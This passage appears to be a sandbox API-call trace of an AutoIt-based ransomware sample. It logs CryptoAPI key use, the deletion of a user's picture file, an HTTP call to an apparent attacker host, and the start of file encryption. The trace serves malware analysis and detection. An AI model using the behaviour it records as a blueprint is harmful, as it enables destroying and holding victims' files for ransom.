lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621468, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0060.615] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0060.615] CryptDestroyKey (hKey=0x164c670) returned 1 [0060.615] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.615] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.615] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.615] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.616] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.616] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.616] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.616] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.616] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.616] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0060.616] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.616] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.616] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.616] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.616] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.617] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.617] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.617] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.617] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.617] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.617] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.617] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.617] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.617] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.617] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.617] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.617] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.617] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.617] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0060.618] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0060.618] CryptReleaseContext (hProv=0x17aa890, dwFlags=0x0) returned 1 [0060.618] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.618] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.618] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.618] FreeLibrary (hLibModule=0x74c60000) returned 1 [0060.618] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.618] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.618] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.618] CloseHandle (hObject=0x3bc) returned 1 [0060.619] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.619] CloseHandle (hObject=0x2ac) returned 1 [0060.622] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.623] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.624] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", lpFilePart=0x0) returned 0x43 [0060.624] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\82svu4fyp.png")) returned 0x20 [0060.624] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c330 [0060.624] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\82svu4fyp.png")) returned 1 [0060.627] FindNextFileW (in: hFindFile=0x164c330, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0060.628] FindClose (in: hFindFile=0x164c330 | out: hFindFile=0x164c330) returned 1 [0060.628] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.628] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.628] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.628] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.628] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0060.628] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0060.628] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.629] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0060.629] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.629] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0060.629] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0060.629] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d90, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d90, lpdwBufferLength=0x130ef8c) returned 1 [0060.629] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.629] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.629] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.633] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0060.633] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0060.633] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0060.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0060.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0060.633] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.659] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.659] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.659] CloseHandle (hObject=0x0) returned 0 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ccPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cPLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PLOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OC5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JnNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nNq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Nq\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BfI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fI75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="I75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="75cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cmEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mEBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EBO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BO2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0060.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.662] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.662] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0060.662] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.662] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0060.662] 